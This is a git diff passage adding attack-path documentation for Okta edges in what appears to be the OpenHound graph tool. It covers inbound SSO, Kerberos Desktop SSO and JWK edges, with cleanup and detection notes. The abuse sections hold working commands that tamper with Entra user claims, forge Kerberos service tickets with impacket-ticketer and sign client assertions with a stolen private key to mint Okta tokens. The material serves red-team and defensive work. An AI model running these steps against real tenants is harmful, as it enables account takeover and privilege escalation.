+ export TEMP_OKTA_GROUP_ID="00g..." + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_OKTA_GROUP_ID/users/$DEST_OKTA_USER_ID" + ``` + +6. Revoke Okta sessions and OAuth tokens for the affected destination user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +7. Verify the IdP and user state after cleanup. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID" \ + | jq '{id, type, name, status, sso: .protocol.endpoints.sso.url}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/groups" \ + | jq -r '.[] | [.id, .type, .profile.name] | @tsv' + ``` + +## Opsec Considerations + +Inbound federation abuse leaves audit trails in the source tenant and in Okta. Okta can log `user.authentication.auth_via_IDP`, `user.authentication.auth_via_inbound_SAML`, `system.idp.lifecycle.update`, `system.idp.key.create`, `policy.evaluate_sign_on`, and group membership changes. The source tenant records user, group, enterprise application, claim, and certificate changes. + +Tenant-level control is noisy. New signing certificates, changed claim rules, high-privilege users authenticating through the IdP, or a spike in JIT-created users should be treated as high-severity signals. + +## References + +- [Okta Identity Providers API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/IdentityProvider/) +- [Okta Enterprise Identity Provider guide](https://developer.okta.com/docs/guides/add-an-external-idp/openidconnect/main/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Microsoft Graph: Update user](https://learn.microsoft.com/en-us/graph/api/user-update) +- [Microsoft Graph: Add group members](https://learn.microsoft.com/en-us/graph/api/group-post-members) +- [Microsoft Graph: Remove group member](https://learn.microsoft.com/en-us/graph/api/group-delete-members) +- [Adam Chester: Identity Providers for RedTeamers](https://blog.xpnsec.com/identity-providers-redteamers/) diff --git a/descriptions/edges/Okta_InboundSSO.md b/descriptions/edges/Okta_InboundSSO.md index 6f7b9fa..522cd11 100644 --- a/descriptions/edges/Okta_InboundSSO.md +++ b/descriptions/edges/Okta_InboundSSO.md @@ -1,6 +1,6 @@ ## General Information -The Okta_InboundOrgSSO and Okta_InboundSSO hybrid edges connect external tenants and users to Okta entities: +The traversable Okta_InboundSSO edges represent single sign-on from an external identity into an Okta user. OpenHound emits this edge for Microsoft-backed SAML IdP users when the linked external ID can be matched to an external user node: ```mermaid graph LR @@ -11,3 +11,198 @@ graph LR t1 -- Okta_InboundOrgSSO --> idp1 u1 -- Okta_InboundSSO --> ou1 ``` + +The edge means the source external user can authenticate through the inbound IdP trust and become the destination Okta user, subject to Okta's account link policy, IdP subject mapping, sign-on policy, and MFA requirements. + +## Abuse Info + +An attacker who controls the source external user can sign in to Okta as the destination Okta user when the inbound IdP trust maps that external identity to the Okta account. If the attacker controls the source tenant administratively, they can also modify the external user's attributes or group claims so Okta links to a more privileged destination user or grants IdP-driven Okta group membership. + +For Microsoft Entra ID-backed SAML IdPs, the source user authenticates in Entra ID and Okta consumes the SAML assertion. The assertion subject, NameID, immutable ID, email, username, and group claims must match the Okta IdP configuration. + +Using the source tenant and Okta sign-in flow: + +1. Obtain credentials, session access, or administrative control for the source external user. +2. Identify the Okta IdP used for inbound SSO and the destination Okta user linked to the external user. +3. If you control the source tenant, adjust the source user's attributes or group memberships to satisfy the IdP subject mapping and any `Okta_IdpGroupAssignment` path. +4. Start an Okta sign-in flow that routes to the external IdP, or start IdP-initiated SSO from the external tenant. +5. Authenticate as the source external user. +6. Let Okta consume the SAML/OIDC response and map it to the destination Okta user. +7. Use the resulting Okta session to access applications, Admin Console features, or downstream SSO paths available to the destination user. + +Using Microsoft Graph and the Okta API: + +1. Set variables for the source Entra user, optional Entra group claim, Okta IdP, and destination Okta user. + + ```bash + export ENTRA_ACCESS_TOKEN="REDACTED_GRAPH_TOKEN" + export ENTRA_USER_ID="00000000-0000-0000-0000-000000000000" + export ENTRA_GROUP_ID="11111111-1111-1111-1111-111111111111" + export TEMP_DEPARTMENT="Finance" + export ORIGINAL_DEPARTMENT="Engineering" + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export IDP_ID="0oa..." + export DEST_OKTA_USER_ID="00u..." + ``` + +2. Verify the Okta IdP and confirm the linked external ID for the destination user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID" \ + | jq '{id, type, name, status, sso: .protocol.endpoints.sso.url, subject: .policy.subject, accountLink: .policy.accountLink}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID/users?limit=200&expand=user" \ + | jq -r '.[] | select(.id == env.DEST_OKTA_USER_ID) | [.id, .externalId, .profile.email, .profile.subjectNameId] | @tsv' + ``` + +3. If the abuse path depends on an Entra-sourced attribute, update the source user. Only change attributes that the Okta IdP actually maps or trusts. + + ```bash + curl -i -sS -X PATCH \ + -H "Authorization: Bearer $ENTRA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"department\":\"$TEMP_DEPARTMENT\"}" \ + "https://graph.microsoft.com/v1.0/users/$ENTRA_USER_ID" + ``` + +4. If the abuse path depends on a group claim, add the source user to the Entra group that the IdP emits or maps. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: Bearer $ENTRA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"@odata.id\":\"https://graph.microsoft.com/v1.0/directoryObjects/$ENTRA_USER_ID\"}" \ + "https://graph.microsoft.com/v1.0/groups/$ENTRA_GROUP_ID/members/\$ref" + ``` + + A successful Microsoft Graph group-membership add returns `204 No Content`. + +5. Complete the Okta browser sign-in flow through the source IdP as the source external user. Okta session creation is interactive; the APIs above prepare and verify the mapping but do not create the browser session. + +6. Verify the destination Okta user state after authentication. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID" \ + | jq '{id, status, lastLogin, login: .profile.login, email: .profile.email, department: .profile.department}' + ``` + +7. Enumerate the destination user's Okta groups to identify new group assignments from the inbound login. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/groups" \ + | jq -r '.[] | [.id, .type, .profile.name] | @tsv' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_InboundSSO` means restoring the source external user's attributes and group claims, removing unintended Okta links or group memberships created by the inbound login, and revoking the destination user's Okta sessions. + +Cleanup using Admin Console: + +1. Restore the source external user's original attributes and group memberships in the external tenant. +2. Restore any temporary claim transformation, signing, or enterprise application changes in the source IdP. +3. In Okta, open **Security** > **Identity Providers** and unlink unintended account links or restore the correct external ID. +4. Remove temporary Okta group memberships created by `Okta_IdpGroupAssignment`. +5. Delete any JIT-provisioned Okta user created only for the operation. +6. Revoke the destination user's Okta sessions and downstream app sessions. + +Cleanup using API: + +1. Restore the source Entra user attribute. + + ```bash + curl -i -sS -X PATCH \ + -H "Authorization: Bearer $ENTRA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"department\":\"$ORIGINAL_DEPARTMENT\"}" \ + "https://graph.microsoft.com/v1.0/users/$ENTRA_USER_ID" + ``` + +2. Remove the source user from the temporary Entra group claim if one was added. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: Bearer $ENTRA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + "https://graph.microsoft.com/v1.0/groups/$ENTRA_GROUP_ID/members/$ENTRA_USER_ID/\$ref" + ``` + + A successful removal returns `204 No Content`. + +3. Unlink the destination Okta user from the IdP if the link was changed or should be forced through account linking again. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/idps/$IDP_ID/users/$DEST_OKTA_USER_ID" + ``` + +4. Remove temporary Okta group membership if the inbound login added one. + + ```bash + export TEMP_OKTA_GROUP_ID="00g..." + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_OKTA_GROUP_ID/users/$DEST_OKTA_USER_ID" + ``` + +5. Revoke Okta sessions and OAuth tokens for the destination user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +6. Verify the destination user's profile and group state. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID" \ + | jq '{id, status, login: .profile.login, email: .profile.email, department: .profile.department}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/groups" \ + | jq -r '.[] | [.id, .type, .profile.name] | @tsv' + ``` + +## Opsec Considerations + +Inbound SSO abuse leaves logs in both Okta and the source tenant. Okta events can include `user.authentication.auth_via_IDP`, `user.authentication.auth_via_inbound_SAML`, `user.session.start`, `policy.evaluate_sign_on`, `group.user_membership.add`, and IdP lifecycle events if configuration was changed. + +Microsoft Entra ID records sign-ins, audit log entries for user or group changes, and enterprise application changes. A source user change or Entra group membership change followed by a privileged Okta session is a strong cross-system detection. + +## References + +- [Okta Identity Providers API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/IdentityProvider/) +- [Okta Enterprise Identity Provider guide](https://developer.okta.com/docs/guides/add-an-external-idp/openidconnect/main/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Microsoft Graph: Update user](https://learn.microsoft.com/en-us/graph/api/user-update) +- [Microsoft Graph: Add group members](https://learn.microsoft.com/en-us/graph/api/group-post-members) +- [Microsoft Graph: Remove group member](https://learn.microsoft.com/en-us/graph/api/group-delete-members) +- [Adam Chester: Identity Providers for RedTeamers](https://blog.xpnsec.com/identity-providers-redteamers/) diff --git a/descriptions/edges/Okta_KerberosSSO.md b/descriptions/edges/Okta_KerberosSSO.md index 25b9182..df92b58 100644 --- a/descriptions/edges/Okta_KerberosSSO.md +++ b/descriptions/edges/Okta_KerberosSSO.md @@ -1,6 +1,6 @@ ## General Information -Hybrid traversable Okta_KerberosSSO edges represent [agentless desktop SSO](https://help.okta.com/en-us/content/topics/directory/ad-dsso-about-workflow.htm) trust from an on-prem AD User account to an AD-backed Okta_Application. +Hybrid traversable Okta_KerberosSSO edges represent Agentless Desktop SSO trust from an on-prem AD account that owns the Desktop SSO SPN to an AD-backed Okta application. ```mermaid graph LR @@ -19,3 +19,169 @@ graph LR u1 -- Okta_KerberosSSO --> app1 u2 -. Okta_UserSync .-> u3 ``` + +The source AD account is the service account configured for Agentless Desktop SSO. It owns an SPN such as `HTTP/.kerberos.okta.com` or another Kerberos alias accepted by Okta. The destination Okta application is the AD-backed Okta directory integration that accepts Kerberos authentication for AD-linked users. + +## Abuse Info + +An attacker who controls the source AD account or its Kerberos keys can abuse the Desktop SSO trust to authenticate AD-backed users to Okta. With the service account key, the attacker can request or forge Kerberos service tickets for the Desktop SSO SPN and submit them to Okta's Kerberos endpoint. If Okta maps the Kerberos principal to an Okta user, the attacker can obtain an Okta session for that user. + +This path is most useful when the target AD user is synced to a privileged Okta user, has access to sensitive Okta applications, or can reach admin privileges through `Okta_MemberOf` and admin-role edges. It does not bypass Okta policy that still requires MFA, device assurance, or other controls after Desktop SSO. + +Using AD and a browser: + +1. Compromise the source AD Desktop SSO service account, or extract its NTLM/AES Kerberos key from a host or directory compromise. +2. Identify the Desktop SSO SPN on the source account. +3. Identify the target AD user that maps to the destination Okta user. +4. Forge or obtain a Kerberos service ticket for the target AD user to the Desktop SSO SPN. +5. Present the ticket to Okta's Kerberos endpoint from a browser or tooling that supports SPNEGO. +6. If Okta accepts the ticket and maps the AD user, use the resulting Okta session as the destination Okta user. +7. Launch assigned applications or open the Admin Console according to the destination user's privileges. + +Using AD commands, Kerberos tooling, and Okta API verification: + +1. Set variables for the AD service account, SPN, target AD user, and destination Okta user. + + ```bash + export AD_DOMAIN="contoso.com" + export AD_DOMAIN_SID="S-1-5-21-1111111111-2222222222-3333333333" + export DSSO_SERVICE_ACCOUNT="agentlessDsso" + export DSSO_SPN="HTTP/contoso.kerberos.okta.com" + export TARGET_AD_SAM="jane.doe" + export DSSO_NTLM_HASH="REDACTED_NTLM_HASH" + export OKTA_KERBEROS_URL="https://contoso.kerberos.okta.com" + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export DEST_OKTA_USER_ID="00u..." + ``` + +2. Confirm the SPN registered to the Desktop SSO service account from a domain-joined Windows host. + + ```powershell + setspn -L agentlessDsso + setspn -Q HTTP/contoso.kerberos.okta.com + ``` + +3. Forge a service ticket for the target AD user to the Desktop SSO SPN using the compromised service account key. + + ```bash + impacket-ticketer \ + -nthash "$DSSO_NTLM_HASH" \ + -domain "$AD_DOMAIN" \ + -domain-sid "$AD_DOMAIN_SID" \ + -spn "$DSSO_SPN" \ + "$TARGET_AD_SAM" + + export KRB5CCNAME="$TARGET_AD_SAM.ccache" + klist + ``` + + The cache should contain a service ticket for the Desktop SSO SPN. + +4. Submit the Kerberos ticket to Okta's Kerberos endpoint. The exact browser flow depends on the workstation and browser SPNEGO configuration; the curl example verifies that a Negotiate flow can be attempted with the current Kerberos cache. + + ```bash + curl -i -sS \ + --negotiate \ + -u : \ + -c /tmp/okta-kerberos-cookies.txt \ + -b /tmp/okta-kerberos-cookies.txt \ + "$OKTA_KERBEROS_URL" + ``` + + A successful browser flow redirects toward the Okta org with a session for the mapped user. If the response falls back to the normal sign-in page or errors, verify SPN, realm, ticket encryption type, clock skew, and Okta Desktop SSO policy. + +5. Verify the mapped Okta user and the applications or admin paths available to that user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID" \ + | jq '{id, status, login: .profile.login, email: .profile.email, credentialProvider: .credentials.provider}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/groups" \ + | jq -r '.[] | [.id, .type, .profile.name] | @tsv' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_KerberosSSO` means purging forged Kerberos tickets and browser state, rotating the exposed Desktop SSO service account password, revoking Okta sessions created through the trust, and verifying Desktop SSO still works for legitimate users. + +Cleanup using Admin Console: + +1. Revoke Okta sessions for the affected Okta users that authenticated through Desktop SSO. +2. In Okta, open **Security** > **Delegated Authentication** and review the **Active Directory** Agentless Desktop SSO configuration. +3. Rotate the Desktop SSO service account password in Active Directory. +4. Update the Agentless Desktop SSO service account password in Okta. +5. Verify the configured SPN and Kerberos alias still match the service account. +6. Test Desktop SSO from a legitimate domain-joined workstation. +7. Remove attacker tooling, browser profiles, cookie jars, and forged Kerberos caches. + +Cleanup using API: + +1. Purge Kerberos tickets from the host used for the operation. + + ```powershell + klist purge + ``` + +2. Rotate the Desktop SSO service account password in AD. + + ```powershell + Import-Module ActiveDirectory + + $DssoServiceAccount = "agentlessDsso" + $NewPassword = ConvertTo-SecureString "REDACTED_NEW_PASSWORD" -AsPlainText -Force + + Set-ADAccountPassword -Identity $DssoServiceAccount -Reset -NewPassword $NewPassword + ``` + +3. Confirm the Desktop SSO SPN remains on the correct AD account and no duplicate SPN exists. + + ```powershell + setspn -L agentlessDsso + setspn -Q HTTP/contoso.kerberos.okta.com + ``` + +4. Revoke Okta sessions and OAuth tokens for the affected Okta user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the destination Okta user and group state after session revocation. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID" \ + | jq '{id, status, login: .profile.login, lastLogin}' + ``` + +6. Update the Desktop SSO password in Okta through the Admin Console. Okta does not expose a general public API for every Agentless Desktop SSO configuration field, so the Admin Console is the reliable cleanup path for the Okta-side password update. + +## Opsec Considerations + +Kerberos abuse can leave Windows security telemetry on domain controllers, especially event `4769` for service ticket requests to the Desktop SSO SPN. If a forged service ticket is submitted without a normal TGS request, defenders may instead notice missing expected domain-controller telemetry paired with Okta Desktop SSO activity. + +Okta records sign-on activity through the Kerberos endpoint with events such as `user.authentication.auth_via_iwa`, `user.authentication.dsso_via_non_priority_source`, `policy.evaluate_sign_on`, and session starts. Unusual Desktop SSO from non-corporate networks, impossible travel, mismatched workstation context, or privileged users authenticating through Desktop SSO shortly after service account changes are strong signals. + +## References + +- [Okta Agentless Desktop SSO workflow](https://help.okta.com/en-us/content/topics/directory/ad-dsso-about-workflow.htm) +- [Okta Office 365 Silent Activation: Enable Kerberos authentication](https://help.okta.com/oie/en-us/content/topics/apps/apps_o365_silent_activation.htm) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Microsoft setspn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setspn) +- [Microsoft klist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/klist) +- [Microsoft Set-ADAccountPassword](https://learn.microsoft.com/en-us/powershell/module/activedirectory/set-adaccountpassword) +- [Microsoft Windows event 4769](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769) +- [Adam Chester: Okta for Red Teamers](https://blog.xpnsec.com/okta-for-redteamers/) diff --git a/descriptions/edges/Okta_KeyOf.md b/descriptions/edges/Okta_KeyOf.md index 973c9d4..a7430c6 100644 --- a/descriptions/edges/Okta_KeyOf.md +++ b/descriptions/edges/Okta_KeyOf.md @@ -1,6 +1,6 @@ ## General Information -The traversable Okta_KeyOf edges represent the relationships between applications Okta_Application and their JWKs: +The traversable Okta_KeyOf edges represent the relationships between Okta applications and the public JSON Web Keys (JWKs) configured for those applications: ```mermaid graph LR @@ -14,4 +14,236 @@ graph LR key3 -- Okta_KeyOf --> app2 ``` -Possession of the private key corresponding to a JWK allows an attacker to authenticate as the application. The Okta_KeyOf edge can be used in BloodHound to understand which applications use JWK-based authentication and trace potential attack paths involving compromised private keys. +The `Okta_JWK` node represents public key metadata stored in Okta. The private key is not collected by OpenHound. This edge becomes an abuse path when the attacker has the private key corresponding to the source JWK. + +## Abuse Info + +An attacker who obtains the private key corresponding to the source `Okta_JWK` can authenticate as the destination `Okta_Application` when that app uses `private_key_jwt` client authentication. The public JWK in Okta is not a secret; it only tells Okta which private key signatures to trust for the destination client. + +This is a high-value edge for OAuth service applications because signed client assertions can mint access tokens without a user session. For Okta Management API service apps, the resulting bearer token is constrained by both the scopes granted to the client and the admin roles assigned to the application. For non-Okta APIs, the token is constrained by the custom authorization server scopes and the downstream resource server. + +Using the Admin Console: + +1. Identify the destination application from the `Okta_KeyOf` edge. +2. Open **Applications** > **Applications** and select the destination application. +3. On the **General** tab, inspect **Client Credentials** and confirm the client authentication method is **Public key / Private key**. +4. Match the source `Okta_JWK` by key ID, key use, algorithm, status, creation time, or thumbprint-equivalent metadata. +5. Find the destination client ID and the authorization server token endpoint used by the application. +6. Use the recovered private key with the API steps below to sign a `client_assertion`, mint a token, and continue along any downstream application or Okta admin-role edges from the destination application. + +Using the Okta API: + +1. Set the org URL, destination app details, token endpoint, requested scope, and private key path. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export TARGET_APP_ID="0oa..." + export CLIENT_ID="0oa..." + export SOURCE_JWK_ID="pks..." + export SOURCE_JWK_KID="kid-from-jwk" + export PRIVATE_KEY_PEM="./recovered-private-key.pem" + export TOKEN_ENDPOINT="$OKTA_ORG/oauth2/v1/token" + export TOKEN_SCOPE="okta.users.read" + ``` + + Use `$OKTA_ORG/oauth2/v1/token` for the org authorization server, or `$OKTA_ORG/oauth2/{authorizationServerId}/v1/token` for a custom authorization server. + +2. Optionally verify the public key metadata in Okta with an API credential that can read the destination application. + + ```bash + export OKTA_API_TOKEN="REDACTED" + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/jwks/$SOURCE_JWK_ID" \ + | jq -r '{id, kid, kty, alg, use, status, created, lastUpdated}' + ``` + +3. Build a signed JWT client assertion with the recovered private key. The `aud` claim must match the token endpoint, and `iss` and `sub` must match the client ID. + + ```bash + b64url() { + openssl base64 -A | tr '+/' '-_' | tr -d '=' + } + + export NOW="$(date +%s)" + export EXP="$((NOW + 300))" + export JTI="$(openssl rand -hex 16)" + + export JWT_HEADER="$(printf '{"alg":"RS256","kid":"%s","typ":"JWT"}' "$SOURCE_JWK_KID" | b64url)" + export JWT_PAYLOAD="$(printf '{"iss":"%s","sub":"%s","aud":"%s","iat":%s,"exp":%s,"jti":"%s"}' "$CLIENT_ID" "$CLIENT_ID" "$TOKEN_ENDPOINT" "$NOW" "$EXP" "$JTI" | b64url)" + export JWT_SIGNATURE="$(printf '%s.%s' "$JWT_HEADER" "$JWT_PAYLOAD" | openssl dgst -sha256 -sign "$PRIVATE_KEY_PEM" -binary | b64url)" + export CLIENT_ASSERTION="$JWT_HEADER.$JWT_PAYLOAD.$JWT_SIGNATURE" + ``` + +4. Exchange the assertion for an access token as the destination application. + + ```bash + curl -sS -X POST \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "grant_type=client_credentials" \ + --data-urlencode "scope=$TOKEN_SCOPE" \ + --data-urlencode "client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer" \ + --data-urlencode "client_assertion=$CLIENT_ASSERTION" \ + "$TOKEN_ENDPOINT" \ + | tee /tmp/okta-keyof-token.json + + export OKTA_ACCESS_TOKEN="$(jq -r '.access_token' /tmp/okta-keyof-token.json)" + ``` + + A successful response contains `token_type`, `expires_in`, `scope`, and `access_token`. + +5. Verify the bearer token against an endpoint allowed by the destination application's scopes and admin roles. + + ```bash + curl -sS \ + -H "Authorization: Bearer $OKTA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users?limit=1" \ + | jq -r '.[] | [.id, .status, .profile.login] | @tsv' + ``` + +6. Continue as the destination application. If the app has privileged Okta role edges, call the allowed Okta Management API endpoints. If the app is used with a custom authorization server, use the token against the downstream resource server that accepts those scopes. + +## Cleanup after Abuse + +Cleanup for `Okta_KeyOf` means retiring the trusted public JWK that matches the exposed private key, deploying replacement key material, revoking tokens minted with the old key where possible, and reversing changes made as the destination application. + +Cleanup using Admin Console: + +1. Open **Applications** > **Applications** and select the destination application. +2. On the **General** tab, go to **Client Credentials**. +3. Add a replacement public key or generate a replacement public/private key pair. Store the new private key in the legitimate secret store before closing any one-time display dialog. +4. Update the legitimate workload to sign client assertions with the replacement private key. +5. Deactivate the source JWK that corresponds to the exposed private key. +6. Delete the inactive source JWK if it is no longer needed. +7. Revoke or expire downstream tokens and sessions issued to the destination application where the downstream system supports it. +8. Verify assertions signed with the old private key are rejected. + +Cleanup using API: + +1. Set cleanup variables for the destination application, exposed key, replacement public JWK, and token revocation. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_APP_ID="0oa..." + export CLIENT_ID="0oa..." + export EXPOSED_KEY_ID="pks..." + export REPLACEMENT_PUBLIC_JWK_FILE="./replacement-public-jwk.json" + export TOKEN_SCOPE="okta.users.read" + export TOKEN_ENDPOINT="$OKTA_ORG/oauth2/v1/token" + export REVOKE_ENDPOINT="$OKTA_ORG/oauth2/v1/revoke" + export MINTED_ACCESS_TOKEN="eyJ..." + ``` + +2. Add a replacement public JWK for the destination application. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + --data @"$REPLACEMENT_PUBLIC_JWK_FILE" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/jwks" \ + | tee /tmp/okta-keyof-replacement-jwk.json + + export REPLACEMENT_KEY_ID="$(jq -r '.id' /tmp/okta-keyof-replacement-jwk.json)" + ``` + +3. Verify the replacement key is present and active. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/jwks/$REPLACEMENT_KEY_ID" \ + | jq -r '{id, kid, use, alg, status, created}' + ``` + +4. Move the legitimate workload to the replacement private key, then deactivate the exposed source JWK. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/jwks/$EXPOSED_KEY_ID/lifecycle/deactivate" + ``` + + A successful response returns the JWK with `status` set to `INACTIVE`. + +5. Delete the inactive exposed key. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/jwks/$EXPOSED_KEY_ID" + ``` + + A successful delete returns `204 No Content`. + +6. Revoke a known access token minted through the exposed key. Use a current client assertion signed with the replacement key for client authentication to the revoke endpoint. + + ```bash + export CURRENT_CLIENT_ASSERTION="JWT_SIGNED_WITH_REPLACEMENT_PRIVATE_KEY" + + curl -i -sS -X POST \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "token=$MINTED_ACCESS_TOKEN" \ + --data-urlencode "token_type_hint=access_token" \ + --data-urlencode "client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer" \ + --data-urlencode "client_assertion=$CURRENT_CLIENT_ASSERTION" \ + "$REVOKE_ENDPOINT" + ``` + + Token revocation returns `200 OK` even if the token is already invalid. + +7. Verify the exposed key is gone or inactive. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/jwks" \ + | jq -r --arg id "$EXPOSED_KEY_ID" '.jwks.keys[]? | select(.id == $id) | [.id, .kid, .status] | @tsv' + ``` + +8. Verify assertions signed by the old private key fail at the token endpoint. + + ```bash + export OLD_CLIENT_ASSERTION="JWT_SIGNED_WITH_EXPOSED_PRIVATE_KEY" + + curl -i -sS -X POST \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "grant_type=client_credentials" \ + --data-urlencode "scope=$TOKEN_SCOPE" \ + --data-urlencode "client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer" \ + --data-urlencode "client_assertion=$OLD_CLIENT_ASSERTION" \ + "$TOKEN_ENDPOINT" + ``` + + The expected result is an OAuth error such as `invalid_client`. + +## Opsec Considerations + +Private-key JWT abuse does not send the private key to Okta, but it does create OAuth token grants for the destination client and later API activity with that bearer token. Relevant Okta System Log event types include `app.oauth2.credentials.lifecycle.create`, `app.oauth2.credentials.lifecycle.activate`, `app.oauth2.credentials.lifecycle.deactivate`, `app.oauth2.credentials.lifecycle.delete`, `app.oauth2.token.revoke`, and `app.oauth2.as.token.revoke`. + +Watch for token requests using unexpected key IDs, unfamiliar source IPs, new automation hosts, unusual scopes, abnormal `jti` patterns, and management API calls that do not match the service application's normal job. Key rotation, deactivation, and deletion are also high-signal events because production key rotation normally aligns with a planned deployment. + +## References + +- [Okta Application Public Keys API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationSSOPublicKeys/) +- [Okta OAuth for Okta service apps](https://developer.okta.com/docs/guides/implement-oauth-for-okta-serviceapp/main/) +- [Okta build a signed JWT](https://developer.okta.com/docs/guides/build-self-signed-jwt/) +- [Okta client authentication methods](https://developer.okta.com/docs/api/openapi/okta-oauth/guides/client-auth/) +- [Okta manage keys](https://developer.okta.com/docs/guides/key-management/main/) +- [Okta revoke tokens](https://developer.okta.com/docs/guides/revoke-tokens/main/) +- [Okta manage secrets and keys for OIDC apps](https://help.okta.com/en-us/Content/Topics/apps/oauth-client-cred-mgmt.htm) +- [Okta Client Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentClient/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- 